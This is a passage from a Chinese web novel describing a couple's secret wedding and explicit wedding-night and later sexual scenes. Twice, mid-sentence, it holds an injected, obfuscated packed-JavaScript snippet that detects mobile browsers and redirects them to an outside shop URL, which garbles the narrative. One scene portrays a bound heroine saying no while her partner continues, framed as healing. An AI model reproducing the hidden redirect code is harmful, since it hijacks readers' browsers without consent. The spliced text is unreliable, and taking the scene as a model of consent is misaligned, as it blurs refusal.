她明明送他一首很纯洁的情诗,他是怎么做到处处纯情处处黄的? 可她不敢宣之于口,否则定像上次树林里那样被他怼,当下很内涵地瞅了身边人一眼。 谁知四目相接,他们立时心有灵犀地知道对方心领神会,且都知道对方知道自己心领神会,双双忍不住笑出声。 风宿恒牵栖真进去,这是个两进的大房,前间午前阳光正好,照着大桌暖榻,后进则是卧房。内饰以粉蓝粉红粉灰为主,色调温馨。 “哎,你怎知我爱这种配色?”栖真见处处切中她的喜好,也是惊喜。 “你去万叶飞房中时,眼睛亮了一下。” 栖真吃惊地啊一声,继而憨笑不止:“阿畅啊阿畅!” “你非要平民小户。”风宿恒叹气:“我只好在颜色上下些功夫,否则在我这儿实在过不去。” “喜欢的!”栖真知道关于造什么档次的房子他们一直有分歧,风宿恒愿意迁就,说白了还是不希望她不开心,于是赶紧转移话题:“小白还能回来吗?” 风宿恒明白她说的是他这个“小白”:“回来做甚?” “当书架,当臂钏。”栖真抱着他腰:“当……被子。” “不用小白。“风宿恒拨弄她的唇:“我就可以。” 栖真撒娇:“就要小白嘛!” “劝你选我吧。”风宿恒爱死栖真这娇俏模样:“我体力比小白好。” 额头亲一下,鼻尖亲一下,到唇上,就不止亲一下了。 两人吻地难分难舍,交湿杂濡,风宿恒好不容易找到间隙,喘息道:“真真,你……还要时间吗?” 在他全心全意为她营造的港湾里,在他们为这间小屋苦熬数月后,在她被他与生俱来的欲色蛊惑到心痒难耐间,栖真彻底放弃矜持,想要风宿恒,做梦都想!当下唇间吐出呢喃:“师父……教我。” 风宿恒抬头,平息一下激动,道:“来。” 然后牵她到桌边坐,摆开一副长谈的架势。 栖真干瞪眼。 这么干柴烈火,她都忍不住,风宿恒居然急刹车? 佩服! 风宿恒难得有些踌躇:“你说碰到困难得说出来,我们一起想办法对不对?” “自然。”听风宿恒这么说,栖真有点紧张:“出什么事了?” “没!”风宿恒忙否认,又道:“就是有件事我想了许久,有些不知怎么办好。” 能让风宿恒都不知怎么办的,一定不是小事。 就听他道:“自从找到你,我想过无数次要予你怎样的婚礼,十里红妆宝马雕车怎配迎你入门?普天同庆烟火满城都不足表我万一。可如今我们在山上越陷越深,只要阿畅还是家仆一日,就无法予真真这般婚礼。” 栖真还以为他要说什么,松口气,安慰道:“想哪里去了?你以命为媒,麒麟穴为聘,这般深情厚意,还不够我许下终身?婚礼只是个形式,并不一定要大张旗鼓。即是阿畅,大可一切从简。” 风宿恒顿了一下,道:“真真,你大概没明白我的意思。” 他凝视她道:“今日,我若以阿畅之名娶你,往后,风宿恒又如何名正言顺娶栖真为妻?” “阿畅只是权宜之计,我早晚得回归本身堂堂正正娶你回去。”风宿恒执起她手:“我不能让栖真终生为家仆妇,不能让你这大容皇后,青史都留不下真名!” 他这么一说,栖真终于明白过来。 就是说他不能对外宣布以阿畅的身份娶她,因为这样一来,她以后要怎么嫁给风宿恒;可他若以风宿恒名义娶她,那她之前为挽回絮回他们所做的努力,可能就要白费。 栖真看着房顶,这好像是个问题。 无所谓青史留名,但不能名正言顺嫁风宿恒,她也有些膈应。 可笑之前一直觉得两人一起便好,都没想过这茬。 风宿恒见栖真神游,便道:“也不是没有办法。” 当下说了心中设想,栖真听完没忍住,伏案大笑:“风大导演就是风大导演,佩服佩服!”遂对他一抱拳:“我王喜欢虐恋戏码,小女子自当奉陪。” 风宿恒被她说得无奈:“若非为了保你那些志同道合的伙伴,何至于此啊。” 栖真道:“这事让你受委屈了。” “不,不是我委屈。”风宿恒道:“这些时日见你过得充实,见他们越来越好,我对他们也是感激的。当初你竭力留人在山上的决定是对的。只是如今火候还不够,你与他们的情谊能否抵得住大是大非……真真,我不愿冒险,我想和你一起保他们的未来,保你们的情谊。所以我们的事只怕还得等一等。” “等吧。”栖真道:“等一切明了再婚礼不迟。” “可能至少得等一年。”风宿恒道:“等他们有更多成就,等他们对你有更大的怀恩。” 栖真:“那就等一年呗。” 谁知风宿恒一把握住她的手:“风宿恒可以等一年再娶,可阿畅等不了一年再要!” 栖真终于有点明白风宿恒的心结,憋着笑,轻咳一声:“阿畅是觉得若无婚礼,我们便不能洞房?” 先DO后婚在栖真眼里根本不是个事,还想安慰安慰他,他们现代人根本没这么在意。 谁知风宿恒抛出个重磅炸弹:“若非明媒正娶,你有了怎么办?让山上人看轻你?看轻我们的孩子吗?” 栖真张口结舌,半晌才道:“洞房……不代表一定会有啊!” “你忘了?”风宿恒道:“辛丰皇族在这方面向来天赋异禀。” 栖真…… 孩子,确实是个大问题。 但她想的,和风宿恒截然不同。 “这一桩,是想和你说一说来着。”栖真有些紧张,只不过今日话题到这份上,便一口气道了出来:“我出不去,我生的孩子,可能也出不去,我问过重离了。实在抱歉,宿恒。” 想告诉他的,可实在开不了口,一想到风宿恒知道后会如何难过,她就心颤不已。 其实风宿恒揣着头发遍寻出口时就想过这个可能,此时听栖真亲口确认,应该会受不小的打击,但他只是静坐片刻,把牵着的手握紧了,问:“所以你……不想要孩子?” 栖真沉默。 终是道:“我也不知道,我不想孩子一辈子禁锢在山上,都没机会出去看看。这样的人生对他不公平,可让你此生没有亲子又太残忍了,对你又是多么不公!这事我想了好久,也不知怎么办好。” “别管我怎么想。”风宿恒在栖真手背鼓励般亲了一下:“先答我,你还想要孩子吗?” “想!”栖真点头:“以前没爱人时我都想,何况现在!我想和你生孩子,不能为你生一个,会是我这辈子最大的遗憾。” 风宿恒吁口气:“人生还长,谁能断言几十年后会怎样,若你出去了呢?我们会否后悔当初没给他机会来到世上?所以我们不要自己把这么沉重的大石压在身上。” 栖真扑到风宿恒怀里。 他是怎么做到一句话就吹散她心头积压已久的阴云? 风宿恒料想这段时日来栖真多多少少为此寝食难安,撸着她的背道:“这种事,一个人闷着糟心,以后要说出来,知道吗?” “嗯。” “真真,我们说定,以一年为限!一年后,即便有人无法接受,我也必以风宿恒之名上山娶你。若一年内你有了,计划就提前。反正无论如何,我都不会让你无名无分的生子,好不好?” 栖真在他怀里点头。 风宿恒比她想得长远。 他抛出问题,又和她商量解决方案。 他只想在真正拥有她之前,给一个让人安心的承诺。 这男人明明已经给她那么多,居然还想予她一个承诺。 栖真觉得心酸,为他心酸,又心疼坏了。 伏在怀里,栖真轻声道:“你们平时怎么避孕?女人喝药?” “怎会让你喝药,伤身体的。”风宿恒抱紧她:“真真享受就好,有我呢。” 不知大容还是辛丰习俗,祁家嫂子说乔迁得有仪式,得放鞭炮;米缸置于屋中至少两个时辰,代表财源广进饿不着;还要在大门口燃艾叶,把新宅木头里的病气熏出去。 各家仪式弄完都到晚膳时间了。 大日子,晚膳弄得丰盛,难得都是好料。 栖真心头紧张,食不知味。风宿恒给她捡了个乌鸡腿,悄声道:“夜还长。” 栖真盛了满满一碗甲鱼汤,放他面前:“喝了才知长不长。” 风宿恒笑得内涵,看着她,一勺一勺喝,慢条斯理把里面的甲鱼吃尽了。 他越是淡定模样,栖真心头就越燥。 若今晚注定是一场甜蜜的战争,他这不骄不躁的姿态,就像等你放马过来的将军。 栖真没想到喂他一碗汤,结果把她自己吃臊了、吃怯了、吃腿软了。 风宿恒吃完先回花千树,栖真就在桌上磨蹭,听众人你一言我一语说生意、说菜田、说新居。今晚好多人不用住帐子了,席上尽了兴,便各回新房去。 栖真慢吞吞往回走。 她想了很多。 她觉得这方面,自己怎么说都比风宿恒经验丰富。 作为新时代女性,好歹经受过现代化网络教学。反观她男人,别看平时挺会无师自通,可照他这洁身自好的程度,最多也就小时候被教过一次,应该青涩得很。所以今晚两人虽是开天辟地第一次,可于情于理,都得她罩着他才对。 性/爱对人类何其重要! 它是两性表达爱意的终极,是文明得以延续的动力。 心疼风宿恒辛苦半生,倾尽所有才抱她归,其他地方帮不上忙,这方面她还不能主动点? 但凡能让他舒服,怎样都是好的! 至于她自己……栖真目视彤彤红月挂在天际,紧张地吞咽数下……应该没有问题。 手心紧张到湿漉,她悄悄推开柴扉。 院中石灯都亮起来了,烛火盈盈,一院温馨。颜心从正堂出来,见她回来,喜气洋洋行了个礼:“房中都备好了,主母安歇。”说完笑着出了小院,还不忘关紧柴扉。 “哎…”栖真不知颜心要去哪,就听廊上风宿恒的声音道:“真真,过来。” 栖真上前,将手递入他伸出的掌中:“颜心今晚不住这儿?” “洞房花烛夜,她自不便待。” 他直白道出来,栖真就更紧张了。 风宿恒看她,星子还未升起,光全在他眼中了,就听他问:“在你们那儿,结为夫妻是怎样的仪式?” “去民政局,就是衙门,签个字,领个证,就算夫妻了。”栖真比划一下:“这样的结婚证,在上面签名。” 风宿恒带她到香满路,拿出红纸,让她照样写一个。 栖真想了想,提笔写道:辛丰凌潇庚子年七月初七,风畅愿娶栖真为妻,栖真愿以风畅为夫,无论富贵贫穷,无论健康疾病,无论顺境逆境,不离不弃,直到永远。 然后在下面郑重签名。 “这是婚书。同穴时烧了,见证永恒。” 风宿恒落下自己大名,然后摸索着婚书问:“你们那儿都这样烧?” 栖真一本正经地点头:“都这样。” “在我们这儿,拜过天地才算夫妻。”风宿恒将婚书收起,笑着牵她到后院。 红月映天,地上摆了两方蒲团。 风宿恒带栖真跪下。 “皇天在上,后土为证!风畅栖真今夜缔誓,万仞之巅结为夫妻。吾妻穿隔千年,圆畅一世姻缘。无谓桂殿寰宫,愿吾怀为其家。栖真之嫁,凤翥鸾翔,兰桂齐芳。风畅之娶,光耀同辉,笑辱不悔。经此三拜,生同衾死同穴,永不分离!” 字字句句,发自肺腑。 尤其那句“愿吾怀为其家”,瞬间让栖真泪目。 两人对天地端正拜过三拜。 他们,一个是中土世界的王者,一个是来自未来的瑰宝,这样的大婚千年难遇,本该成为中土盛事,万朝来贺,爆竹齐鸣。却在寥寥知晓中,在静谧的红月夜悄然举行。但婚礼的主角没想那些,给自己和彼此的祝福溢满心房,足够他们沐浴在至高无上的幸福间。 风宿恒为栖真拭泪,带至净房,留她独自热水沐浴。 栖真洗完出来,见卧房桌上,两臂红烛高照,风宿恒正将一方托盘放到桌上。 “好香。”风宿恒揽她在发间嗅了一口,已然沉醉:“……用了兰叶?” 栖真长发披散,身着凤凰鸣鸾的大红中衣,那是风宿恒在净房备下的丝质长袍。三拜时贴记终生的感动在见到这件华美的薄纱时被满身燥热替代,面上红晕堪比今晚妖异的月色,再没下来过。 风宿恒亲吻落在她发间,呢喃道:“等我。” 栖真听着净房传来的轻微水声,在房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13444926|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里踯躅,终举起托盘里的酒壶看。 是逆尘送的寒潭清。 这酒可不是好相与的! 栖真放下酒壶,思绪万千,无意识地绕桌转了三圈。一边,白日里的素色床帐被面全数换成红帐锦被,瞧着很是喜庆。 这是她的洞房花烛夜啊! 栖真心潮涌动,坐立难安。 “想什么呢?手都掐狠了。” 声音在背后响起时,栖真惊得转身。 风宿恒执起她手,看合谷掐出的指印,好笑道:“这么紧张吗?” 栖真把手藏到背后:“没。” “抱一抱,不怕不怕!”风宿恒揽人入怀,拍拍背。 “哄小孩儿呢?”栖真在他怀里呢喃。 风宿恒穿着同色长袍,瞧着也很喜庆。 这人真适合着红呀!英气里透着欲色,怎么都掩不住,栖真痴迷地想。 风宿恒的衣襟有些垮,露出脖颈到胸膛间的深谷。这一抱,浴后暖热的皮肤就贴在颊边,栖真顺势把唇贴上去,在他胸口磨蹭。 “小孩儿迫不及待?”风宿恒喉咙干哑出火,被她蹭出来的火,一举就想把人抱上床。 “好像抱娃呀。”栖真为风宿恒把她搁臂上高高举起的姿势嘟嘴:“姻缘洞里这么抱,就是把我当小孩儿?” “你那时才多大,弱不禁风的样子,还口口声声叫师父。”风宿恒压她在床:“不把你当娃当什么?” “我那时若是倾国倾城的大美人,你是不是看一眼就爱上?”栖真羞怯地和他抬杠,掩饰自己的紧张。 “不会。”风宿恒吻她唇角:“吻只给栖真,人也只给栖真。” “初吻就不是我的。”栖真手心湿漉,嗯哼一声,见风宿恒神色莫名,小声提醒:“神明岛,水下,慕容。” 风宿恒蹙眉,从久远记忆中翻找,终哭笑不得道:“那是吻吗?啊?” 栖真倔道:“怎就不是了?” 风宿恒本想对她温柔些,怎奈这人就知拱火,又让他有想捏她的冲动。 直接吻住嘟起的嘴,异常激烈,直到她断气般挣扎推他。 “这才是吻好吗!”风宿恒捏栖真下颏,不放过,带着惩罚又吻又咬。 “谁是大醋精?”他含笑:“你、才、是!” 栖真眼底漫上雾气,求饶道:“酒、交杯酒、还没喝。” “交杯酒?” 啊,他们这边没有交杯酒的习俗?那这酒是……? 栖真嗯嗯嗯指桌上。 “怕你害怕。”风宿恒终于稍稍放开她:“给你备的。” 栖真想借机抽身下床:“我要。” 风宿恒被挑起玩性,先一步下床捞过酒壶,灌一口,制住栖真后颈,把人锁在方寸间,低头全数渡进她嘴里。 他喂得不快,怎奈酒烈,栖真还是呛到,一时眼辣喉疼。 泪水酒水流在颊上,眼尾面色血红一片,当真成了猛禽抓下仓惶脆弱的小兽。 风宿恒品着酒泪混合的苦辣,顺势把人压回床,一手解她袍子系带,像拆上天好生之德赐下的厚礼,大手揉起再无隔阂的滑腻。 不想吓到心上人,想要慢慢来,但当炽热碰着炽热,风宿恒什么吟啸徐行的念头都烧没了,血在沸腾,有火撺着他,让他浑身都浸在淫毅和险躁里。 吻过她的上半身,每次都能很好地取悦她,但今晚显然不够,还需急躁的指往下一探究竟。 他便这么做了。 谁知才碰到,栖真就剧烈颤抖,浑身变得僵硬,并拢自己满是抗拒。 风宿恒早懂得欲迎还拒和真心抗拒之间的差别,那一刻他诧异地停下,仔细看身下人。 适才还润红的脸颊不知何时变得发白,栖真冷汗直冒,呼吸急促,紧闭着眼像陷在某种强烈的梦魇。 那样子,并不正常。 “真真——!”风宿恒拍拍她的脸,可栖真醒不过来,他只好加重力道摇她。 栖真终于在风宿恒的叫唤下颤抖着睁眼,可看到那个眼神,风宿恒心里一紧,觉得栖真根本不在眼前,不在这里。 冷汗涔涔下的眼神像穿不透的迷雾,不知落在哪段时间长河里。 她的身体在惧怕,在抵抗,在逃避! 风宿恒坐起来,真地像抱小孩儿一样让栖真坐在自己腿弯里,抱住她僵硬的身体,撸着头拍着背,将她脑袋搁在颈窝边脸贴脸。 知道心上人今晚必会遭受一些脆弱和疼痛,但没想到今晚她是这样的脆弱和疼痛,而现在这两样,明显都不是他给的! 他们虽没做到过最后,但这段时日也有不少亲近,主动,或被动……他看到的都是栖真的投入和激动。 没有一次,发生过这样的事! 风宿恒也想探究原因。 但今晚不行。 今晚,他得成为解锁的钥匙。 身体逐渐被捂暖,随之而回的还有意识。 栖真紧紧咬唇,她适才干什么了?她是不是把事情搞砸了?还想罩着风宿恒,结果她自己这关都过不去。 “我……”栖真仓惶起身,吐出一个字:“我……” 眼一转想到办法,她窜下床,取过桌上的酒猛灌,直到壶被身边人抢走。 “给我!”栖真道:“你说为我备的,我不怕,我没怕,我就是想喝一喝。” “不是让你这么喝。”风宿恒把壶藏到身后。 原本只想小酌怡情,现下她这架势简直把酒当水灌,想灌醉自己才能放开吗? 几口急酒上头,栖真觉得自己又有了勇气,又可以试一试,但还不够,不太够! “我喝慢点,再喝一口好不好,求你了。”栖真垫脚,勾着风宿恒脖子哀求。 栖真大概是有些醉,醉的语气都带着丝卑微,可她这般贴身蹭,蹭得风宿恒很难受,他也不想就此罢休。 只好把酒递回,看她抢过去啜饮。 几口下去,到底是有成效的。 酒回桌上,栖真的脸越来越红,躺下来,拉过风宿恒的手,软软糯糯道:“师父,别生气,继续好吗?” 风宿恒重新吻她,直到怀里体酥骨软,彻底放松,才捏着栖真的下巴问:“信我吗?” “信。” “看我,看我的眼睛。” 栖真头晕,眼前有重影,可她努力凝住那双勾魂摄魄的眼。这男人,是她赌上这辈子所有的运气才得来!是她无论哪辈子的起点和宿命! 风宿恒眼眸低垂,注视她,不放过她脸上任何一个细微表情,手往下分开她,轻声问:“要我吗?” 指腹触到湿,身体明明很诚实,怎奈栖真又开始紧张,又在变得僵硬。这没道理! 可栖真不想闭眼。 她知道,闭上就又会陷在铺天盖地的恐惧中。 “真真,说话!”风宿恒强力指引:“看着我,说要我!” “要……啊!” 话未说完,风宿恒冲进来。 栖真脑里瞬间一片空白。 烙印般根深蒂固的恐惧还未及掌控她的思绪,风宿恒已电光火石拿走了操控权,连紧张和变得僵硬的时间都不给,就让她成了惊涛骇浪中的孤船。 而那个掌舟的舵,控制着她的呼吸、身体、频率……所有的一切,只能随他去。 太快了…… 太疯了…… 一开始就这么疯吗? 栖真想问,可只能紧紧咬住唇。 “出声。”风宿恒又在给她下蛊:“叫出来,什么都不怕。” 唇顶不住他手指刻意的侵袭,最后一丝防线都被捣碎。 栖真哭出声,经久的恐惧,心灵的折磨,全数像决堤的坝,被男人冲得溃不成军。 今晚的哭泣却没惹人心软,反而引来加倍狠厉。在红翻被浪里,哭声渐渐变了味,夹带着无垠的脆弱和放肆的呻/吟。 栖真觉得那酒不是寒潭清,寒潭清不至于几口醉成这样,让人汗出如浆,不知癫狂在现实,还是痴狂在梦里。 一晚颠着她。 迷迷乱乱的,全是穿林打叶声。 166. 第 166 章 第二部完 “你们把鱼水之欢称为‘做/爱’,便是认同爱需要做出来。”风宿恒道:“真真,你昨晚就做得很好。” 大荒流的日落很美,七彩的夕阳从紧闭的西窗透入,在室内铺就一层浅光。白腻的肌肤在这样的光线下显得尤其透亮。 可栖真觉得太亮。 亮得让她羞耻。 她恨不得现下房中一片漆黑,一丝光亮都不要有! “我们可以讨论。”栖真浑身不自在地动了动:“先把我放开。” “睡一日养足了精神,身子也没不爽利。”风宿恒抚上她:“咱们来解决一下昨晚的事。” “我很好,后面不是都很好?还要解决什么?”双腕被合绑在床头,栖真心虚地挣动,说话间扯动嘴角都在瑟瑟刺痛,全是风宿恒一晚造的孽。 “那是你喝醉,但总不能每次都靠醉。”风宿恒低头看大掌抚上的地方:“真真,怕什么?知道自己有多美吗?你的身体像美玉,没有岁月的痕迹。” 他眼神是热烈的、欣赏的、探究的,但栖真半个字都不想听,只想拢腿,可被红绳牵制的腿弯不受控制。 “你上课讲过,面对害怕不要逃避,说出来,一遍,两遍,三遍……说到稀松平常为止。” 栖真有不好的预感,身体倏忽绷紧:“没说过!” “你还说,学以致用。”风宿恒像个认真听讲的好学子那般提醒她:“才叫真正学到。” “不!” “真真为人师表,要耍赖吗?”他眼神深幽,开始用食指拨弄:“把感觉说出来,说出来就放开你。” 这地方禁不起哪怕一点触碰,何况是男人带着茧的指腹如此弄,栖真拼命摇头,挣扎如捕网中的鸟。 风宿恒终于停手。 栖真为他继而凑近的脑袋颤栗,拼命往上缩,大叫:“风宿恒!” “叫风畅也没用。”风宿恒不让她退缩:“三样物事,你来挑。” “一样都不要!放开我!” 可风宿恒不仅不放,还用被子把她垫高:“真真,你是绚烂的花,开在我心里。” 栖真浑身过电似的,闭眼不敢看。 可闭上眼,脑里也全是猛虎细嗅蔷薇,原本让她恐惧的东西不翼而飞,全弃在上辈子了。 昨晚她恐惧,慌乱,迷离,时不时冒出逃离的念头,似乎也有过瑰丽的终结,没有哪次像现下这般清晰,四肢百骸都洗髓一遍。 风宿恒滚烫的声音:“跟我说,刚才我对你做了什么,你觉得怎么样?” “你对我……”栖真双眸难以聚焦:“你咬我……” “哪里?”风宿恒一晚摸索,不会一无所获:“说出来,以后再不怕了。” 余韵太烈,再来一波就是让她去死,可要她说,那是生不如死。 风宿恒不给她胶着的机会。 那是他每次施法都让她目不转睛的长指,可现下他把法术施到她里面,又猛又浪。 栖真照着风宿恒的引导一字不落说全。 “再来就…绝交。”那么接近的两次,栖真哑得不成调。 “说好三样,缺一不可。” 不—— 她受不了! “敬你、爱你、疼你。” 风宿恒抱住她,像护着被欺负的小孩,可他心疼的方式就是让她疼,他宁愿自己让她疼,也无法忍受她的疼来自虚无。 没了酒精糊弄,感受太过清晰。有理智时对这个男人就无比憧憬,现下他不仅超出预期,还变本加厉。 所有求而不得、辗转反侧、穿越千年、生生死死,只有在真实的纠缠里、在鲜活的汗泪中才算落到实处,才算予他们真正相匹配的馈赠。 月上中天,清辉也显滚烫。 “风…宿…恒。” “你…混…蛋。” ………… “我哪里混蛋?”风宿恒好整以暇地坐在床边,喂栖真喝汤。 栖真靠在床头,含住他手中勺子,喝下这口红糖红枣人参大补汤。 然后闭嘴,拒绝交流。 风宿恒看她转向床内,绝壁清野,不肯多说一个字,忍不住闷笑。 “早让颜心跟容绽请过假,课他会上,你不用担心。”风宿恒把碗放回床边的托盘:“晚上睡觉开窗受了寒,休息三天又不为过。” 生病休息三天是不为过,风宿恒三天没让她下过床呢? 过不过? 最过的是,现下她是真地下不了床! 浑身散了架似的,腰疼到直不起,走一步都疼。 三天里,羞耻的话被逼着说尽,羞耻的事被逼着做绝,往后数十年,还有什么可玩了? 风宿恒让栖真面朝下躺,手刚碰上腰想帮她揉揉,就被栖真不留情拍开。 风宿恒哭笑不得,俯身贴耳:“别恼啊,我小心着呢,一点没让你伤到。” 这般虎狼之态,哪里小心着? 他不小心着,她是不是小命都给折腾掉了? 想想就难过地掉眼泪。 风宿恒帮她揉腰背,收敛力道,只往酸爽处小心揉捏:“那么难过啊?” “自己数数,三天里做了几次?”栖真哑地开不了嗓。 还问她难不难过! 听着就气不打一处来。 风宿恒轻咳:“一开始是为了你,后来是…” 他赔罪般,凑到栖真左边想亲亲,她转右边;凑右边,她转左面,怎么都不给他碰一下。 风宿恒确实控制着力道,控制了次数,也确实没想到这样她都受不住。此刻见人真恼,泪水哗哗躺了一枕,心针扎似的:“好真真,别哭了,以后我一定收敛,绝不让你这么难受。” 好话说尽,栖真还是冷脸,风宿恒只好让她躺一会儿,知趣地先出去。 栖真见风宿恒终于走开,三天来第一次耳根清净了,吁出口长气,难受地消沉了一会儿。 躺了半个时辰,窗外晚霞又散,风宿恒居然还没回来,觉得奇怪。再躺小半个时辰,听外间无甚动静,心想莫非他又被气走了? 也是,这三日里口口声声要绝交的是她,骂他混蛋的是她,让他滚的还是她。 是不是……过分了? 想到这里,栖真几乎把牙槽咬碎。 谁过分? 明明是风宿恒过分!他…他三天里简直杀鸡取卵、杀人越货、见色忘义、丧心病狂! 再怎么盼着人回来,到底为他弄了她三天,如今招呼都不打拍拍屁股走人的行径感到强烈不齿,心里难免更怄更气更委屈。 就在那气提到顶点时,门一开,风宿恒进来了。 “用晚膳。” 他将托盘放到床头,小心翼翼扶栖真起身。盘中两碗鸡汤面,盖着荷包蛋和青菜,温度正好。 栖真靠床头,风宿恒就陪她坐在床边吃。 栖真小口啜着面,瞅身边人,见风宿恒卷起的衣袖都是湿的:“干什么去了?” “洗衣服。” 栖真:“……” “洗衣服?” 风宿恒:“这几日换下来的床单被罩,总得洗了。” 他一说,栖真面都吃不下了。 三日里都不知换过几床。每次她被抱去净房沐浴,回来发现床上都是刚换过的干净床单。 那换下来的,污到没眼看。 “吃蛋。”风宿恒把自己的蛋夹她碗里:“现下到底不比宫中,让颜心一个未出阁的姑娘洗,不像话。” 栖真就差把头埋进碗里:“以后我洗吧。” “以前你挣那点银子,去馆子里洗了两日碗,我便发誓再不能让你这么洗东西。”风宿恒吃完了,拿着碗等她:“提笔点江山的手入不得冷水,这些粗活,为夫来吧。” 那他的手是什么? 提笔点江山,施法搅风云的难道不是他风畅? 若不是为了她,他又何须困在这鸟不拉屎的地方,好歹是个王,可怜的连床单都得自个儿洗。 “那以后……”栖真心里不是滋味:“少用些床单吧。” 风宿恒有心哄,自然什么都是好好好。等栖真吃完,他收了碗筷出去,又帮她漱口净手沃面。知道栖真刚吃饱躺不下,便去净房洗漱完,换了干净中衣,上床靠在床头,抱她在怀里说说话。 “这几日让你受苦了,实在对不住。” 风宿恒出去想一圈,倒想明白了。 “你说过,只要让阿畅不舒服的事,就是我的错。你都省得这理,我却是忘了。我自认收敛许多,可只要让真真不舒服,便是我的错。所以还得道歉,真真就看在……”风宿恒也颇不好意思:“看在你夫君寻你多年,一朝如愿的份上,原谅这次。” 他这么一说,栖真什么气都没了。 不仅不气,还隐隐反省是不是自己太作,脾气太差,对他太凶,或者,自己太禁不起C…… 啊啊,心里的小人人猛地把最后那条PIAPIA拍走,就听风宿恒继续道:“很久以前我就一直在想,我早晚会寻到心上人,早晚会让她成为我的妻。我学东学西学了那么多,可若连自己最爱的人都处不好,那我这一生到底在追求个什么东西。” “所以这些年,一面找你,一面我也常肖想,到底何谓夫妻?这夫妻,和父子、和兄弟到底有何不同?” “有何不同?”栖真随手抠着他胸口,粗制的中衣不衬大容王的身份,对阿畅来说却正好。 “所有的缘分,都分好与不好,不因血缘和共同经历便注定是好的。”风宿恒将栖真的手定住:“夫妻可以反目,兄弟可以阋墙,父子可以成仇,世间无数!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457754|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “很多缘分都存有内心的情义,都有金钱馈赠赡养之义,都会相伴不少年岁,但唯有夫妻才有云雨情。这小小一方床笫,兴可由此生,衰可由此起。它明明不比千军万马奔于阵前恢宏,却真真是一个家的基石。” 风宿恒将一臂枕于脑后:“看看辛丰历代帝王,一生驭百女,靠在床上征服女人绵延子嗣,为国家奠定基石。我没有这样的心,我只想在床上征服一个属于我的女人,安安稳稳相伴一生。” 栖真额发扫着他下巴,风宿恒亲一口她额头。 “但,此‘征服‘非彼‘征服’,床笫之事不比攻城略地。那是你和我的事,得你快活,我快活,咱俩一起快活才是真快活。没有找到你前,我竟不知世上能有这般销魂的滋味。在你身上我才知何为极乐!尝过了,我竟无法去想若世上没有你,我要怎么活!真真,这三日我是真快活,可我没想把你折腾得那么难受,我以后再不会了。” 栖真听他最后一句,竟像要将他们颠鸾倒凤的三日盖棺成她很难受、很不满为结局。 这怎么行? 栖真一直身想申诉,腰疼得啊一声,被身边人扶住。 “别乱动,靠我身上。”大手在她腰后揉捏。 “宿恒,我没有被折腾得很难受……身体是有些难受,可心是快活的。原本我还担心困扰我多年的问题,现下也不存在了,全被你治好了,所以你别再道歉,也别说什么、什么以后再不会了这种话。” 她真得有点急,听不得风宿恒如此说,讨好地亲他的颊。 “可是真真,我得跟你坦白。”风宿恒微微避过,不受她的亲近:“我说管得住自己,我也尽力想办法管住自己,可只要你在身边就太难了。一闻到你的味道,一见到你的唇,胸,腰,手,我便受不了。更别说你这般亲我,摸我。真真,你让我怎么办好?” 栖真听他说得如此直白,耳根都红了,嚅嗫道:“……以后会好些的。” “三年五载后吗?”风宿恒道:“你觉得三年五载后,我便不会对你这般狂热了?” 栖真软软道:“总是会随着时间,淡一些吧。” “将来事,我如今说得信誓旦旦也不顶用。”风宿恒看着帐顶,回忆自己的一生:“可我对你,不是那萍水相逢的爱恋,不是普通人的邂逅,而是像积压太久太久,久到远远多于我的年岁。这感觉竟厚重地让我无从说起,是以有时我自个儿都觉得,兴许淡一些,对你,对我,才更好吧。” “淡一些,才更好?”栖真心里不舒服,声音都冷下来:“淡一些,才、更、好?” “难道不是吗?”风宿恒像没听出风雨欲来,还在体贴地帮她揉:“人道情深不寿,这才三日真真便累成这样,精神气都快折腾没了,万万不能再让你受这个罪,可不是淡一些才好吗?” “从来只有累死的牛,没有耕坏的地!”栖真揪住风宿恒衣领,嗓门都大了:“你敢淡一些试试!我就…就……” 一想到或许有朝一日风宿恒对她没那么爱了,两人牵着手就像左手牵右手,她眼泪就扑梭梭往下掉。 “你就怎样?”风宿恒见栖真飚出泪来,真正委屈坏了的神情,不动声色接着问。 就怎样? 栖真被问愣了。 若有朝一日风宿恒不爱她了………只要这么一想,她就觉得如坠冰窟,冻得发抖。 稀罕这份爱,才留在这个不属于她的时代,若有朝一日爱没了,根就没了。她是还能回去呢,还是洒脱地一个人重来呢? 除了茫然四顾,又能怎样呢? 她竟不具备任何一份依凭,可以让自己坦然面对那个时候。 栖真痴楞地看着风宿恒,一个字都说不出来,任由泪水开闸似地淌,半天才垂首轻声:“不怎样。” “我认了。” 风宿恒也楞楞看着她,没想到自己一句话惹栖真情动至此,他再也无法故作淡定,将人压在床上深吻。 栖真也不知自己怎么了,顶在那情绪上,主动伸进风宿恒衣裳里,像鱼渴望海,她用行动证明自己的渴望。 “真真。”风宿恒如今是一点就燃的炮仗,喘息着,可仍将她的手拉出来:“今晚不行,你受不住。” “谁说我受不住?”栖真又怕又恼,把手伸进去:“我可以!” “听我说。”风宿恒按捺着,再次把她的手拉出来,压在头顶:“你是人间宝藏,我也是。两个宝藏在一起,就是老天让我们相依相爱,相辅相成,去携手探寻人之幽径。这三天才哪里到哪里?床笫间,还有无数乐趣待你我共享。淡不了!只要你中有我,我中有你,我们就永远淡不了!” 婆娑泪眼在烛火微光下凝视来,那是他梦魂深处的归乡。 